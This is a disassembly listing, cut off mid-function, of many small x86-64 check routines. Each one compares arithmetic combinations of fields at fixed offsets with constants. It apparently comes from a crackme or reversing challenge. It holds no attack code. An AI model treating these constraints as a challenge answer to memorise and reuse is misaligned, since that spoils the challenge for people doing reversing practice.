.text:000000000040280E sub_40280E proc near ; CODE XREF: sub_4036FC+E39↓p
.text:000000000040280E
.text:000000000040280E var_10 = qword ptr -10h
.text:000000000040280E var_8 = qword ptr -8
.text:000000000040280E
.text:000000000040280E ; __unwind {
.text:000000000040280E push rbp
.text:000000000040280F mov rbp, rsp
.text:0000000000402812 mov [rbp+var_8], rdi
.text:0000000000402816 mov [rbp+var_10], rsi
.text:000000000040281A mov rax, [rbp+var_8]
.text:000000000040281E movzx eax, byte ptr [rax+0A7h]
.text:0000000000402825 mov edx, eax
.text:0000000000402827 mov rax, [rbp+var_10]
.text:000000000040282B movzx eax, byte ptr [rax+0B2h]
.text:0000000000402832 sub edx, eax
.text:0000000000402834 mov eax, edx
.text:0000000000402836 cmp al, 2
.text:0000000000402838 jnz short loc_402864
.text:000000000040283A mov rax, [rbp+var_8]
.text:000000000040283E movzx eax, byte ptr [rax+0A7h]
.text:0000000000402845 movsx eax, al
.text:0000000000402848 mov rdx, [rbp+var_10]
.text:000000000040284C movzx edx, byte ptr [rdx+0B2h]
.text:0000000000402853 movsx ecx, dl
.text:0000000000402856 cdq
.text:0000000000402857 idiv ecx
.text:0000000000402859 cmp al, 1
.text:000000000040285B jnz short loc_402864
.text:000000000040285D mov eax, 1
.text:0000000000402862 jmp short loc_402869
.text:0000000000402864 ; ---------------------------------------------------------------------------
.text:0000000000402864
.text:0000000000402864 loc_402864: ; CODE XREF: sub_40280E+2A↑j
.text:0000000000402864 ; sub_40280E+4D↑j
.text:0000000000402864 mov eax, 0
.text:0000000000402869
.text:0000000000402869 loc_402869: ; CODE XREF: sub_40280E+54↑j
.text:0000000000402869 pop rbp
.text:000000000040286A retn
.text:000000000040286A ; } // starts at 40280E
.text:000000000040286A sub_40280E endp
.text:000000000040286A
.text:000000000040286B
.text:000000000040286B ; =============== S U B R O U T I N E =======================================
.text:000000000040286B
.text:000000000040286B ; Attributes: bp-based frame
.text:000000000040286B
.text:000000000040286B sub_40286B proc near ; CODE XREF: sub_4036FC+E58↓p
.text:000000000040286B
.text:000000000040286B var_10 = qword ptr -10h
.text:000000000040286B var_8 = qword ptr -8
.text:000000000040286B
.text:000000000040286B ; __unwind {
.text:000000000040286B push rbp
.text:000000000040286C mov rbp, rsp
.text:000000000040286F mov [rbp+var_8], rdi
.text:0000000000402873 mov [rbp+var_10], rsi
.text:0000000000402877 mov rax, [rbp+var_8]
.text:000000000040287B movss xmm0, dword ptr [rax+0B4h]
.text:0000000000402883 mov rax, [rbp+var_10]
.text:0000000000402887 movss xmm1, dword ptr [rax+0CCh]
.text:000000000040288F subss xmm0, xmm1
.text:0000000000402893 ucomiss xmm0, cs:dword_404C88
.text:000000000040289A jp short loc_4028DA
.text:000000000040289C ucomiss xmm0, cs:dword_404C88
.text:00000000004028A3 jnz short loc_4028DA
.text:00000000004028A5 mov rax, [rbp+var_8]
.text:00000000004028A9 movss xmm1, dword ptr [rax+0B4h]
.text:00000000004028B1 mov rax, [rbp+var_10]
.text:00000000004028B5 movss xmm0, dword ptr [rax+0CCh]
.text:00000000004028BD addss xmm0, xmm1
.text:00000000004028C1 ucomiss xmm0, cs:dword_404C88
.text:00000000004028C8 jp short loc_4028DA
.text:00000000004028CA ucomiss xmm0, cs:dword_404C88
.text:00000000004028D1 jnz short loc_4028DA
.text:00000000004028D3 mov eax, 1
.text:00000000004028D8 jmp short loc_4028DF
.text:00000000004028DA ; ---------------------------------------------------------------------------
.text:00000000004028DA
.text:00000000004028DA loc_4028DA: ; CODE XREF: sub_40286B+2F↑j
.text:00000000004028DA ; sub_40286B+38↑j ...
.text:00000000004028DA mov eax, 0
.text:00000000004028DF
.text:00000000004028DF loc_4028DF: ; CODE XREF: sub_40286B+6D↑j
.text:00000000004028DF pop rbp
.text:00000000004028E0 retn
.text:00000000004028E0 ; } // starts at 40286B
.text:00000000004028E0 sub_40286B endp
.text:00000000004028E0
.text:00000000004028E1
.text:00000000004028E1 ; =============== S U B R O U T I N E =======================================
.text:00000000004028E1
.text:00000000004028E1 ; Attributes: bp-based frame
.text:00000000004028E1
.text:00000000004028E1 sub_4028E1 proc near ; CODE XREF: sub_4036FC+E77↓p
.text:00000000004028E1
.text:00000000004028E1 var_10 = qword ptr -10h
.text:00000000004028E1 var_8 = qword ptr -8
.text:00000000004028E1
.text:00000000004028E1 ; __unwind {
.text:00000000004028E1 push rbp
.text:00000000004028E2 mov rbp, rsp
.text:00000000004028E5 mov [rbp+var_8], rdi
.text:00000000004028E9 mov [rbp+var_10], rsi
.text:00000000004028ED mov rax, [rbp+var_8]
.text:00000000004028F1 movzx eax, byte ptr [rax+0B4h]
.text:00000000004028F8 mov ecx, eax
.text:00000000004028FA mov rax, [rbp+var_10]
.text:00000000004028FE movzx eax, byte ptr [rax+0B8h]
.text:0000000000402905 mov edx, eax
.text:0000000000402907 mov eax, ecx
.text:0000000000402909 imul eax, edx
.text:000000000040290C cmp al, 60h
.text:000000000040290E jnz short loc_402935
.text:0000000000402910 mov rax, [rbp+var_8]
.text:0000000000402914 movzx eax, byte ptr [rax+0B4h]
.text:000000000040291B mov edx, eax
.text:000000000040291D mov rax, [rbp+var_10]
.text:0000000000402921 movzx eax, byte ptr [rax+0B8h]
.text:0000000000402928 add eax, edx
.text:000000000040292A cmp al, 7Ah
.text:000000000040292C jnz short loc_402935
.text:000000000040292E mov eax, 1
.text:0000000000402933 jmp short loc_40293A
.text:0000000000402935 ; ---------------------------------------------------------------------------
.text:0000000000402935
.text:0000000000402935 loc_402935: ; CODE XREF: sub_4028E1+2D↑j
.text:0000000000402935 ; sub_4028E1+4B↑j
.text:0000000000402935 mov eax, 0
.text:000000000040293A
.text:000000000040293A loc_40293A: ; CODE XREF: sub_4028E1+52↑j
.text:000000000040293A pop rbp
.text:000000000040293B retn
.text:000000000040293B ; } // starts at 4028E1
.text:000000000040293B sub_4028E1 endp
.text:000000000040293B
.text:000000000040293C
.text:000000000040293C ; =============== S U B R O U T I N E =======================================
.text:000000000040293C
.text:000000000040293C ; Attributes: bp-based frame
.text:000000000040293C
.text:000000000040293C sub_40293C proc near ; CODE XREF: sub_4036FC+E96↓p
.text:000000000040293C
.text:000000000040293C var_10 = qword ptr -10h
.text:000000000040293C var_8 = qword ptr -8
.text:000000000040293C
.text:000000000040293C ; __unwind {
.text:000000000040293C push rbp
.text:000000000040293D mov rbp, rsp
.text:0000000000402940 mov [rbp+var_8], rdi
.text:0000000000402944 mov [rbp+var_10], rsi
.text:0000000000402948 mov rax, [rbp+var_8]
.text:000000000040294C movzx eax, byte ptr [rax+0B5h]
.text:0000000000402953 mov ecx, eax
.text:0000000000402955 mov rax, [rbp+var_10]
.text:0000000000402959 movzx eax, byte ptr [rax+0B9h]
.text:0000000000402960 mov edx, eax
.text:0000000000402962 mov eax, ecx
.text:0000000000402964 imul eax, edx
.text:0000000000402967 cmp al, 26h
.text:0000000000402969 jnz short loc_402995
.text:000000000040296B mov rax, [rbp+var_8]
.text:000000000040296F movzx eax, byte ptr [rax+0B5h]
.text:0000000000402976 movsx eax, al
.text:0000000000402979 mov rdx, [rbp+var_10]
.text:000000000040297D movzx edx, byte ptr [rdx+0B9h]
.text:0000000000402984 movsx esi, dl
.text:0000000000402987 cdq
.text:0000000000402988 idiv esi
.text:000000000040298A cmp al, 2
.text:000000000040298C jnz short loc_402995
.text:000000000040298E mov eax, 1
.text:0000000000402993 jmp short loc_40299A
.text:0000000000402995 ; ---------------------------------------------------------------------------
.text:0000000000402995
.text:0000000000402995 loc_402995: ; CODE XREF: sub_40293C+2D↑j
.text:0000000000402995 ; sub_40293C+50↑j
.text:0000000000402995 mov eax, 0
.text:000000000040299A
.text:000000000040299A loc_40299A: ; CODE XREF: sub_40293C+57↑j
.text:000000000040299A pop rbp
.text:000000000040299B retn
.text:000000000040299B ; } // starts at 40293C
.text:000000000040299B sub_40293C endp
.text:000000000040299B
.text:000000000040299C
.text:000000000040299C ; =============== S U B R O U T I N E =======================================
.text:000000000040299C
.text:000000000040299C ; Attributes: bp-based frame
.text:000000000040299C
.text:000000000040299C sub_40299C proc near ; CODE XREF: sub_4036FC+EB5↓p
.text:000000000040299C
.text:000000000040299C var_10 = qword ptr -10h
.text:000000000040299C var_8 = qword ptr -8
.text:000000000040299C
.text:000000000040299C ; __unwind {
.text:000000000040299C push rbp
.text:000000000040299D mov rbp, rsp
.text:00000000004029A0 mov [rbp+var_8], rdi
.text:00000000004029A4 mov [rbp+var_10], rsi
.text:00000000004029A8 mov rax, [rbp+var_8]
.text:00000000004029AC movzx eax, byte ptr [rax+0B9h]
.text:00000000004029B3 movsx eax, al
.text:00000000004029B6 mov rdx, [rbp+var_10]
.text:00000000004029BA movzx edx, byte ptr [rdx+0BAh]
.text:00000000004029C1 movsx esi, dl
.text:00000000004029C4 cdq
.text:00000000004029C5 idiv esi
.text:00000000004029C7 cmp al, 1
.text:00000000004029C9 jnz short loc_4029F5
.text:00000000004029CB mov rax, [rbp+var_8]
.text:00000000004029CF movzx eax, byte ptr [rax+0B9h]
.text:00000000004029D6 mov ecx, eax
.text:00000000004029D8 mov rax, [rbp+var_10]
.text:00000000004029DC movzx eax, byte ptr [rax+0BAh]
.text:00000000004029E3 mov edx, eax
.text:00000000004029E5 mov eax, ecx
.text:00000000004029E7 imul eax, edx
.text:00000000004029EA cmp al, 44h
.text:00000000004029EC jnz short loc_4029F5
.text:00000000004029EE mov eax, 1
.text:00000000004029F3 jmp short loc_4029FA
.text:00000000004029F5 ; ---------------------------------------------------------------------------
.text:00000000004029F5
.text:00000000004029F5 loc_4029F5: ; CODE XREF: sub_40299C+2D↑j
.text:00000000004029F5 ; sub_40299C+50↑j
.text:00000000004029F5 mov eax, 0
.text:00000000004029FA
.text:00000000004029FA loc_4029FA: ; CODE XREF: sub_40299C+57↑j
.text:00000000004029FA pop rbp
.text:00000000004029FB retn
.text:00000000004029FB ; } // starts at 40299C
.text:00000000004029FB sub_40299C endp
.text:00000000004029FB
.text:00000000004029FC
.text:00000000004029FC ; =============== S U B R O U T I N E =======================================
.text:00000000004029FC
.text:00000000004029FC ; Attributes: bp-based frame
.text:00000000004029FC
.text:00000000004029FC sub_4029FC proc near ; CODE XREF: sub_4036FC+ED4↓p
.text:00000000004029FC
.text:00000000004029FC var_10 = qword ptr -10h
.text:00000000004029FC var_8 = qword ptr -8
.text:00000000004029FC
.text:00000000004029FC ; __unwind {
.text:00000000004029FC push rbp
.text:00000000004029FD mov rbp, rsp
.text:0000000000402A00 mov [rbp+var_8], rdi
.text:0000000000402A04 mov [rbp+var_10], rsi
.text:0000000000402A08 mov rax, [rbp+var_8]
.text:0000000000402A0C mov edx, [rax+0BAh]
.text:0000000000402A12 mov rax, [rbp+var_10]
.text:0000000000402A16 mov eax, [rax+0C0h]
.text:0000000000402A1C imul eax, edx
.text:0000000000402A1F cmp eax, 28DC9044h
.text:0000000000402A24 jnz short loc_402A49
.text:0000000000402A26 mov rax, [rbp+var_8]
.text:0000000000402A2A mov eax, [rax+0BAh]
.text:0000000000402A30 mov rdx, [rbp+var_10]
.text:0000000000402A34 mov ecx, [rdx+0C0h]
.text:0000000000402A3A cdq
.text:0000000000402A3B idiv ecx
.text:0000000000402A3D cmp eax, 1
.text:0000000000402A40 jnz short loc_402A49
.text:0000000000402A42 mov eax, 1
.text:0000000000402A47 jmp short loc_402A4E
.text:0000000000402A49 ; ---------------------------------------------------------------------------
.text:0000000000402A49
.text:0000000000402A49 loc_402A49: ; CODE XREF: sub_4029FC+28↑j
.text:0000000000402A49 ; sub_4029FC+44↑j
.text:0000000000402A49 mov eax, 0
.text:0000000000402A4E
.text:0000000000402A4E loc_402A4E: ; CODE XREF: sub_4029FC+4B↑j
.text:0000000000402A4E pop rbp
.text:0000000000402A4F retn
.text:0000000000402A4F ; } // starts at 4029FC
.text:0000000000402A4F sub_4029FC endp
.text:0000000000402A4F
.text:0000000000402A50
.text:0000000000402A50 ; =============== S U B R O U T I N E =======================================
.text:0000000000402A50
.text:0000000000402A50 ; Attributes: bp-based frame
.text:0000000000402A50
.text:0000000000402A50 sub_402A50 proc near ; CODE XREF: sub_4036FC+EF3↓p
.text:0000000000402A50
.text:0000000000402A50 var_10 = qword ptr -10h
.text:0000000000402A50 var_8 = qword ptr -8
.text:0000000000402A50
.text:0000000000402A50 ; __unwind {
.text:0000000000402A50 push rbp
.text:0000000000402A51 mov rbp, rsp
.text:0000000000402A54 mov [rbp+var_8], rdi
.text:0000000000402A58 mov [rbp+var_10], rsi
.text:0000000000402A5C mov rax, [rbp+var_8]
.text:0000000000402A60 movzx eax, word ptr [rax+0BCh]
.text:0000000000402A67 cwde
.text:0000000000402A68 mov rdx, [rbp+var_10]
.text:0000000000402A6C movzx edx, word ptr [rdx+0BEh]
.text:0000000000402A73 movsx ecx, dx
.text:0000000000402A76 cdq
.text:0000000000402A77 idiv ecx
.text:0000000000402A79 cmp ax, 1
.text:0000000000402A7D jnz short loc_402AA1
.text:0000000000402A7F mov rax, [rbp+var_8]
.text:0000000000402A83 movzx edx, word ptr [rax+0BCh]
.text:0000000000402A8A mov rax, [rbp+var_10]
.text:0000000000402A8E movzx eax, word ptr [rax+0BEh]
.text:0000000000402A95 cmp dx, ax
.text:0000000000402A98 jnz short loc_402AA1
.text:0000000000402A9A mov eax, 1
.text:0000000000402A9F jmp short loc_402AA6
.text:0000000000402AA1 ; ---------------------------------------------------------------------------
.text:0000000000402AA1
.text:0000000000402AA1 loc_402AA1: ; CODE XREF: sub_402A50+2D↑j
.text:0000000000402AA1 ; sub_402A50+48↑j
.text:0000000000402AA1 mov eax, 0
.text:0000000000402AA6
.text:0000000000402AA6 loc_402AA6: ; CODE XREF: sub_402A50+4F↑j
.text:0000000000402AA6 pop rbp
.text:0000000000402AA7 retn
.text:0000000000402AA7 ; } // starts at 402A50
.text:0000000000402AA7 sub_402A50 endp
.text:0000000000402AA7
.text:0000000000402AA8
.text:0000000000402AA8 ; =============== S U B R O U T I N E =======================================
.text:0000000000402AA8
.text:0000000000402AA8 ; Attributes: bp-based frame
.text:0000000000402AA8
.text:0000000000402AA8 sub_402AA8 proc near ; CODE XREF: sub_4036FC+F12↓p
.text:0000000000402AA8
.text:0000000000402AA8 var_10 = qword ptr -10h
.text:0000000000402AA8 var_8 = qword ptr -8
.text:0000000000402AA8
.text:0000000000402AA8 ; __unwind {
.text:0000000000402AA8 push rbp
.text:0000000000402AA9 mov rbp, rsp
.text:0000000000402AAC mov [rbp+var_8], rdi
.text:0000000000402AB0 mov [rbp+var_10], rsi
.text:0000000000402AB4 mov rax, [rbp+var_8]
.text:0000000000402AB8 movzx eax, word ptr [rax+0BEh]
.text:0000000000402ABF mov edx, eax
.text:0000000000402AC1 mov rax, [rbp+var_10]
.text:0000000000402AC5 movzx eax, word ptr [rax+0CCh]
.text:0000000000402ACC add eax, edx
.text:0000000000402ACE cmp ax, 964Eh
.text:0000000000402AD2 jnz short loc_402AFC
.text:0000000000402AD4 mov rax, [rbp+var_8]
.text:0000000000402AD8 movzx eax, word ptr [rax+0BEh]
.text:0000000000402ADF mov edx, eax
.text:0000000000402AE1 mov rax, [rbp+var_10]
.text:0000000000402AE5 movzx eax, word ptr [rax+0CCh]
.text:0000000000402AEC imul eax, edx
.text:0000000000402AEF cmp ax, 75C0h
.text:0000000000402AF3 jnz short loc_402AFC
.text:0000000000402AF5 mov eax, 1
.text:0000000000402AFA jmp short loc_402B01
.text:0000000000402AFC ; ---------------------------------------------------------------------------
.text:0000000000402AFC
.text:0000000000402AFC loc_402AFC: ; CODE XREF: sub_402AA8+2A↑j
.text:0000000000402AFC ; sub_402AA8+4B↑j
.text:0000000000402AFC mov eax, 0
.text:0000000000402B01
.text:0000000000402B01 loc_402B01: ; CODE XREF: sub_402AA8+52↑j
.text:0000000000402B01 pop rbp
.text:0000000000402B02 retn
.text:0000000000402B02 ; } // starts at 402AA8
.text:0000000000402B02 sub_402AA8 endp
.text:0000000000402B02
.text:0000000000402B03
.text:0000000000402B03 ; =============== S U B R O U T I N E =======================================
.text:0000000000402B03
.text:0000000000402B03 ; Attributes: bp-based frame
.text:0000000000402B03
.text:0000000000402B03 sub_402B03 proc near ; CODE XREF: sub_4036FC+F31↓p
.text:0000000000402B03
.text:0000000000402B03 var_10 = qword ptr -10h
.text:0000000000402B03 var_8 = qword ptr -8
.text:0000000000402B03
.text:0000000000402B03 ; __unwind {
.text:0000000000402B03 push rbp
.text:0000000000402B04 mov rbp, rsp
.text:0000000000402B07 mov [rbp+var_8], rdi
.text:0000000000402B0B mov [rbp+var_10], rsi
.text:0000000000402B0F mov rax, [rbp+var_8]
.text:0000000000402B13 movzx eax, byte ptr [rax+0B3h]
.text:0000000000402B1A mov edx, eax
.text:0000000000402B1C mov rax, [rbp+var_10]
.text:0000000000402B20 movzx eax, byte ptr [rax+0C0h]
.text:0000000000402B27 sub edx, eax
.text:0000000000402B29 mov eax, edx
.text:0000000000402B2B cmp al, 0F2h
.text:0000000000402B2D jnz short loc_402B59
.text:0000000000402B2F mov rax, [rbp+var_8]
.text:0000000000402B33 movzx eax, byte ptr [rax+0B3h]
.text:0000000000402B3A movsx eax, al
.text:0000000000402B3D mov rdx, [rbp+var_10]
.text:0000000000402B41 movzx edx, byte ptr [rdx+0C0h]
.text:0000000000402B48 movsx ecx, dl
.text:0000000000402B4B cdq
.text:0000000000402B4C idiv ecx
.text:0000000000402B4E test al, al
.text:0000000000402B50 jnz short loc_402B59
.text:0000000000402B52 mov eax, 1
.text:0000000000402B57 jmp short loc_402B5E
.text:0000000000402B59 ; ---------------------------------------------------------------------------
.text:0000000000402B59
.text:0000000000402B59 loc_402B59: ; CODE XREF: sub_402B03+2A↑j
.text:0000000000402B59 ; sub_402B03+4D↑j
.text:0000000000402B59 mov eax, 0
.text:0000000000402B5E
.text:0000000000402B5E loc_402B5E: ; CODE XREF: sub_402B03+54↑j
.text:0000000000402B5E pop rbp
.text:0000000000402B5F retn
.text:0000000000402B5F ; } // starts at 402B03
.text:0000000000402B5F sub_402B03 endp
.text:0000000000402B5F
.text:0000000000402B60
.text:0000000000402B60 ; =============== S U B R O U T I N E =======================================
.text:0000000000402B60
.text:0000000000402B60 ; Attributes: bp-based frame
.text:0000000000402B60
.text:0000000000402B60 sub_402B60 proc near ; CODE XREF: sub_4036FC+F50↓p
.text:0000000000402B60
.text:0000000000402B60 var_10 = qword ptr -10h
.text:0000000000402B60 var_8 = qword ptr -8
.text:0000000000402B60
.text:0000000000402B60 ; __unwind {
.text:0000000000402B60 push rbp
.text:0000000000402B61 mov rbp, rsp
.text:0000000000402B64 mov [rbp+var_8], rdi
.text:0000000000402B68 mov [rbp+var_10], rsi
.text:0000000000402B6C mov rax, [rbp+var_8]
.text:0000000000402B70 mov edx, [rax+0C4h]
.text:0000000000402B76 mov rax, [rbp+var_10]
.text:0000000000402B7A mov eax, [rax+0CEh]
.text:0000000000402B80 imul eax, edx
.text:0000000000402B83 cmp eax, 4AC50208h
.text:0000000000402B88 jnz short loc_402BAD
.text:0000000000402B8A mov rax, [rbp+var_8]
.text:0000000000402B8E mov eax, [rax+0C4h]
.text:0000000000402B94 mov rdx, [rbp+var_10]
.text:0000000000402B98 mov ecx, [rdx+0CEh]
.text:0000000000402B9E cdq
.text:0000000000402B9F idiv ecx
.text:0000000000402BA1 cmp eax, 1
.text:0000000000402BA4 jnz short loc_402BAD
.text:0000000000402BA6 mov eax, 1
.text:0000000000402BAB jmp short loc_402BB2
.text:0000000000402BAD ; ---------------------------------------------------------------------------
.text:0000000000402BAD
.text:0000000000402BAD loc_402BAD: ; CODE XREF: sub_402B60+28↑j
.text:0000000000402BAD ; sub_402B60+44↑j
.text:0000000000402BAD mov eax, 0
.text:0000000000402BB2
.text:0000000000402BB2 loc_402BB2: ; CODE XREF: sub_402B60+4B↑j
.text:0000000000402BB2 pop rbp
.text:0000000000402BB3 retn
.text:0000000000402BB3 ; } // starts at 402B60
.text:0000000000402BB3 sub_402B60 endp
.text:0000000000402BB3
.text:0000000000402BB4
.text:0000000000402BB4 ; =============== S U B R O U T I N E =======================================
.text:0000000000402BB4
.text:0000000000402BB4 ; Attributes: bp-based frame
.text:0000000000402BB4
.text:0000000000402BB4 sub_402BB4 proc near ; CODE XREF: sub_4036FC+F6F↓p
.text:0000000000402BB4
.text:0000000000402BB4 var_10 = qword ptr -10h
.text:0000000000402BB4 var_8 = qword ptr -8
.text:0000000000402BB4
.text:0000000000402BB4 ; __unwind {
.text:0000000000402BB4 push rbp
.text:0000000000402BB5 mov rbp, rsp
.text:0000000000402BB8 mov [rbp+var_8], rdi
.text:0000000000402BBC mov [rbp+var_10], rsi
.text:0000000000402BC0 mov rax, [rbp+var_8]
.text:0000000000402BC4 movzx eax, byte ptr [rax+0BBh]
.text:0000000000402BCB mov edx, eax
.text:0000000000402BCD mov rax, [rbp+var_10]
.text:0000000000402BD1 movzx eax, byte ptr [rax+0CAh]
.text:0000000000402BD8 sub edx, eax
.text:0000000000402BDA mov eax, edx
.text:0000000000402BDC cmp al, 0B7h
.text:0000000000402BDE jnz short loc_402C05
.text:0000000000402BE0 mov rax, [rbp+var_8]
.text:0000000000402BE4 movzx eax, byte ptr [rax+0BBh]
.text:0000000000402BEB mov edx, eax
.text:0000000000402BED mov rax, [rbp+var_10]
.text:0000000000402BF1 movzx eax, byte ptr [rax+0CAh]
.text:0000000000402BF8 add eax, edx
.text:0000000000402BFA cmp al, 0A5h
.text:0000000000402BFC jnz short loc_402C05
.text:0000000000402BFE mov eax, 1
.text:0000000000402C03 jmp short loc_402C0A
.text:0000000000402C05 ; ---------------------------------------------------------------------------
.text:0000000000402C05
.text:0000000000402C05 loc_402C05: ; CODE XREF: sub_402BB4+2A↑j
.text:0000000000402C05 ; sub_402BB4+48↑j
.text:0000000000402C05 mov eax, 0
.text:0000000000402C0A
.text:0000000000402C0A loc_402C0A: ; CODE XREF: sub_402BB4+4F↑j
.text:0000000000402C0A pop rbp
.text:0000000000402C0B retn
.text:0000000000402C0B ; } // starts at 402BB4
.text:0000000000402C0B sub_402BB4 endp
.text:0000000000402C0B
.text:0000000000402C0C
.text:0000000000402C0C ; =============== S U B R O U T I N E =======================================
.text:0000000000402C0C
.text:0000000000402C0C ; Attributes: bp-based frame
.text:0000000000402C0C
.text:0000000000402C0C sub_402C0C proc near ; CODE XREF: sub_4036FC+F8E↓p
.text:0000000000402C0C
.text:0000000000402C0C var_10 = qword ptr -10h
.text:0000000000402C0C var_8 = qword ptr -8
.text:0000000000402C0C
.text:0000000000402C0C ; __unwind {
.text:0000000000402C0C push rbp
.text:0000000000402C0D mov rbp, rsp
.text:0000000000402C10 mov [rbp+var_8], rdi
.text:0000000000402C14 mov [rbp+var_10], rsi
.text:0000000000402C18 mov rax, [rbp+var_8]
.text:0000000000402C1C movss xmm1, dword ptr [rax+0C4h]
.text:0000000000402C24 mov rax, [rbp+var_10]
.text:0000000000402C28 movss xmm0, dword ptr [rax+0EEh]
.text:0000000000402C30 addss xmm0, xmm1
.text:0000000000402C34 ucomiss xmm0, cs:dword_404C8C
.text:0000000000402C3B jp short loc_402C7B
.text:0000000000402C3D ucomiss xmm0, cs:dword_404C8C
.text:0000000000402C44 jnz short loc_402C7B
.text:0000000000402C46 mov rax, [rbp+var_8]
.text:0000000000402C4A movss xmm0, dword ptr [rax+0C4h]
.text:0000000000402C52 mov rax, [rbp+var_10]
.text:0000000000402C56 movss xmm1, dword ptr [rax+0EEh]
.text:0000000000402C5E divss xmm0, xmm1
.text:0000000000402C62 ucomiss xmm0, cs:dword_404C90
.text:0000000000402C69 jp short loc_402C7B
.text:0000000000402C6B ucomiss xmm0, cs:dword_404C90
.text:0000000000402C72 jnz short loc_402C7B
.text:0000000000402C74 mov eax, 1
.text:0000000000402C79 jmp short loc_402C80
.text:0000000000402C7B ; ---------------------------------------------------------------------------
.text:0000000000402C7B
.text:0000000000402C7B loc_402C7B: ; CODE XREF: sub_402C0C+2F↑j
.text:0000000000402C7B ; sub_402C0C+38↑j ...
.text:0000000000402C7B mov eax, 0
.text:0000000000402C80
.text:0000000000402C80 loc_402C80: ; CODE XREF: sub_402C0C+6D↑j
.text:0000000000402C80 pop rbp
.text:0000000000402C81 retn
.text:0000000000402C81 ; } // starts at 402C0C
.text:0000000000402C81 sub_402C0C endp
.text:0000000000402C81
.text:0000000000402C82
.text:0000000000402C82 ; =============== S U B R O U T I N E =======================================
.text:0000000000402C82
.text:0000000000402C82 ; Attributes: bp-based frame
.text:0000000000402C82
.text:0000000000402C82 sub_402C82 proc near ; CODE XREF: sub_4036FC+FAD↓p
.text:0000000000402C82
.text:0000000000402C82 var_10 = qword ptr -10h
.text:0000000000402C82 var_8 = qword ptr -8
.text:0000000000402C82
.text:0000000000402C82 ; __unwind {
.text:0000000000402C82 push rbp
.text:0000000000402C83 mov rbp, rsp
.text:0000000000402C86 mov [rbp+var_8], rdi
.text:0000000000402C8A mov [rbp+var_10], rsi
.text:0000000000402C8E mov rax, [rbp+var_8]
.text:0000000000402C92 movzx eax, word ptr [rax+0CAh]
.text:0000000000402C99 mov edx, eax
.text:0000000000402C9B mov rax, [rbp+var_10]
.text:0000000000402C9F movzx eax, word ptr [rax+0DAh]
.text:0000000000402CA6 add eax, edx
.text:0000000000402CA8 cmp ax, 9BE4h
.text:0000000000402CAC jnz short loc_402CD7
.text:0000000000402CAE mov rax, [rbp+var_8]
.text:0000000000402CB2 movzx eax, word ptr [rax+0CAh]
.text:0000000000402CB9 cwde
.text:0000000000402CBA mov rdx, [rbp+var_10]
.text:0000000000402CBE movzx edx, word ptr [rdx+0DAh]
.text:0000000000402CC5 movsx ecx, dx
.text:0000000000402CC8 cdq
.text:0000000000402CC9 idiv ecx
.text:0000000000402CCB test ax, ax
.text:0000000000402CCE jnz short loc_402CD7
.text:0000000000402CD0 mov eax, 1
.text:0000000000402CD5 jmp short loc_402CDC
.text:0000000000402CD7 ; ---------------------------------------------------------------------------
.text:0000000000402CD7
.text:0000000000402CD7 loc_402CD7: ; CODE XREF: sub_402C82+2A↑j
.text:0000000000402CD7 ; sub_402C82+4C↑j
.text:0000000000402CD7 mov eax, 0
.text:0000000000402CDC
.text:0000000000402CDC loc_402CDC: ; CODE XREF: sub_402C82+53↑j
.text:0000000000402CDC pop rbp
.text:0000000000402CDD retn
.text:0000000000402CDD ; } // starts at 402C82
.text:0000000000402CDD sub_402C82 endp
.text:0000000000402CDD
.text:0000000000402CDE
.text:0000000000402CDE ; =============== S U B R O U T I N E =======================================
.text:0000000000402CDE
.text:0000000000402CDE ; Attributes: bp-based frame
.text:0000000000402CDE
.text:0000000000402CDE sub_402CDE proc near ; CODE XREF: sub_4036FC+FCC↓p
.text:0000000000402CDE
.text:0000000000402CDE var_10 = qword ptr -10h
.text:0000000000402CDE var_8 = qword ptr -8
.text:0000000000402CDE
.text:0000000000402CDE ; __unwind {
.text:0000000000402CDE push rbp
.text:0000000000402CDF mov rbp, rsp
.text:0000000000402CE2 mov [rbp+var_8], rdi
.text:0000000000402CE6 mov [rbp+var_10], rsi
.text:0000000000402CEA mov rax, [rbp+var_8]
.text:0000000000402CEE movzx eax, word ptr [rax+0D0h]
.text:0000000000402CF5 mov edx, eax
.text:0000000000402CF7 mov rax, [rbp+var_10]
.text:0000000000402CFB movzx eax, word ptr [rax+0EAh]
.text:0000000000402D02 add eax, edx
.text:0000000000402D04 cmp ax, 859Eh
.text:0000000000402D08 jnz short loc_402D34
.text:0000000000402D0A mov rax, [rbp+var_8]
.text:0000000000402D0E movzx eax, word ptr [rax+0D0h]
.text:0000000000402D15 cwde
.text:0000000000402D16 mov rdx, [rbp+var_10]
.text:0000000000402D1A movzx edx, word ptr [rdx+0EAh]
.text:0000000000402D21 movsx ecx, dx
.text:0000000000402D24 cdq
.text:0000000000402D25 idiv ecx
.text:0000000000402D27 cmp ax, 3
.text:0000000000402D2B jnz short loc_402D34
.text:0000000000402D2D mov eax, 1
.text:0000000000402D32 jmp short loc_402D39
.text:0000000000402D34 ; ---------------------------------------------------------------------------
.text:0000000000402D34
.text:0000000000402D34 loc_402D34: ; CODE XREF: sub_402CDE+2A↑j
.text:0000000000402D34 ; sub_402CDE+4D↑j
.text:0000000000402D34 mov eax, 0
.text:0000000000402D39
.text:0000000000402D39 loc_402D39: ; CODE XREF: sub_402CDE+54↑j
.text:0000000000402D39 pop rbp
.text:0000000000402D3A retn
.text:0000000000402D3A ; } // starts at 402CDE
.text:0000000000402D3A sub_402CDE endp
.text:0000000000402D3A
.text:0000000000402D3B
.text:0000000000402D3B ; =============== S U B R O U T I N E =======================================
.text:0000000000402D3B
.text:0000000000402D3B ; Attributes: bp-based frame
.text:0000000000402D3B
.text:0000000000402D3B sub_402D3B proc near ; CODE XREF: sub_4036FC+FEB↓p
.text:0000000000402D3B
.text:0000000000402D3B var_10 = qword ptr -10h
.text:0000000000402D3B var_8 = qword ptr -8
.text:0000000000402D3B
.text:0000000000402D3B ; __unwind {
.text:0000000000402D3B push rbp
.text:0000000000402D3C mov rbp, rsp
.text:0000000000402D3F mov [rbp+var_8], rdi
.text:0000000000402D43 mov [rbp+var_10], rsi
.text:0000000000402D47 mov rax, [rbp+var_8]
.text:0000000000402D4B movzx eax, byte ptr [rax+0C1h]
.text:0000000000402D52 mov ecx, eax
.text:0000000000402D54 mov rax, [rbp+var_10]
.text:0000000000402D58 movzx eax, byte ptr [rax+0C8h]
.text:0000000000402D5F mov edx, eax
.text:0000000000402D61 mov eax, ecx
.text:0000000000402D63 imul eax, edx
.text:0000000000402D66 cmp al, 26h
.text:0000000000402D68 jnz short loc_402D91
.text:0000000000402D6A mov rax, [rbp+var_8]
.text:0000000000402D6E movzx eax, byte ptr [rax+0C1h]
